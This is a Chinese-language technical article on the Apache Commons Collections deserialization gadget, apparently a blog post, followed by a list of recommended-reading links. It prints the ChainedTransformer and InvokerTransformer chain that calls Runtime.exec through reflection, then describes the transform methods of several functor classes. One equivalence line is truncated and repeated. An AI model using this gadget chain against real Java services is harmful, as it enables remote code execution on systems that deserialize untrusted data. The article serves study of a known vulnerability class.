1 简介众所周知 , CommonCollection Gadget主要是由ConstantTransformer , InvokerTransformer , ChainedTransformer构成 。gadget主要通过Transformer接口 的transform方法 , 对输入的对象做变换 。ConstantTransformer不会做任何变换 , 只会返回类在实例化时传入的对象 , InvokerTransformer会对类在实例化时传入的参数 , 通过反射去调用 , ChainedTransformer将所有的Transformer连接起来 , 上一个Transformer的transform方法的结果 , 作为下一个Transformer的transform方法的参数 。这样就完成JAVA反序列化的gadget 。下面为调用Runtime执行calc的CommonCollection的chain
final Transformer[] transformers = new Transformer[] {new ConstantTransformer(Runtime.class),new InvokerTransformer("getMethod", new Class[] {String.class, Class[].class }, new Object[] {"getRuntime", new Class[0] }),new InvokerTransformer("invoke", new Class[] {Object.class, Object[].class }, new Object[] {null, new Object[0] }),new InvokerTransformer("exec",new Class[] { String.class }, execArgs),new ConstantTransformer(1) };
上面的chain等效与下面的代码
Runtime.class.getMethod("getRuntime", new Class[0]).invoke(null, new Object
Runtime.class.getMethod("getRuntime", new Class[0]).invoke(null, new Object
从上面的代码中我们可以暂时得出以下结论
- 只有链式调用的方法才可以被改写成CommonCollection执行链
- gadget中 , 不能有变量声明语句
- 没有while等语句
- 一切操作靠反射
org.Apache.commons.collections.functors中 , 所有的类都可以被简单的分为三类 , 分别继承自Transformer接口 , Predicate接口 , Closure接口 。这三个接口主要有以下区别
- Transformer接口接收一个对象 , 返回对象的执行结果
- Closure接口接收一个对象 , 不返回对象的执行结果
- Predicate接口 , 类似条件语句 , 会根据执行结果 , 返回true或者false 。这个将主要用在SwitchTransformer类中
继承自Transformer接口的类ChainedTransformer将实例化后的Transformer的类的数组 , 按顺序一个一个执行 , 前面的transform结果作为下一个transform的输出 。
public Object transform(Object object) {for (int i = 0; i < iTransformers.length; i++) {object = iTransformers[i].transform(object);}return object;}
CloneTransformer调用并返回输入对象clone方法的结果public Object transform(Object input) {if (input == null) {return null;}return PrototypeFactory.getInstance(input).create();}
ClosureTransformer将Closure接口的类转换为Transformerpublic Object transform(Object input) {iClosure.execute(input);return input;}
ConstantTransformer调用transform方法 , 只返回类在实例化时存储的类public Object transform(Object input) { return iConstant;}
ExceptionTransformer抛出一个异常 , FunctorExceptionpublic Object transform(Object input) { throw new FunctorException("ExceptionTransformer invoked");}
FactoryTransformer调用相应的工厂类并返回结果public Object transform(Object input) { return iFactory.create();}
InstantiateTransformer根据给定的参数 , 在调用transform方法的时候实例化一个类public Object transform(Object input) {try {if (input instanceof Class == false) {throw new FunctorException("InstantiateTransformer: Input object was not an instanceof Class, it was a "+ (input == null ? "null object" : input.getClass().getName()));}Constructor con = ((Class) input).getConstructor(iParamTypes);return con.newInstance(iArgs);} catch (NoSuchMethodException ex) {throw new FunctorException("InstantiateTransformer: The constructor must exist and be public ");} catch (InstantiationException ex) {throw new FunctorException("InstantiateTransformer: InstantiationException", ex);} catch (IllegalAccessException ex) {throw new FunctorException("InstantiateTransformer: Constructor must be public", ex);} catch (InvocationTargetException ex) {throw new FunctorException("InstantiateTransformer: Constructor threw an exception", ex);}}
InvokerTransformer调用transform方法的时候 , 根据类在实例化时提供的参数 , 通过反射去调用输入对象的方法
推荐阅读
- 80后架构师教你学ApacheBeam,一个开源统一分布式数据处理编程库
- Apache Airflow的完整介绍
- Apache Ignite 内存速度级的分布式数据库
- IIS、Apache、Tomcat、Nginx、CDN,它们之间有何区别?
- 是什么使Apache Druid非常适合实时分析?
- 2019年最吸引攻击炮火的 Web 框架:WordPress 和 Apache Struts
- 10分钟带你逆袭Kafka!
- Windows系统配置apache+php+mysql环境图文教程
- Linux在同一个服务器上运行Apache、Nginx和HAProxy
- 国家信息安全漏洞共享平台发布Apache Tomcat漏洞安全公告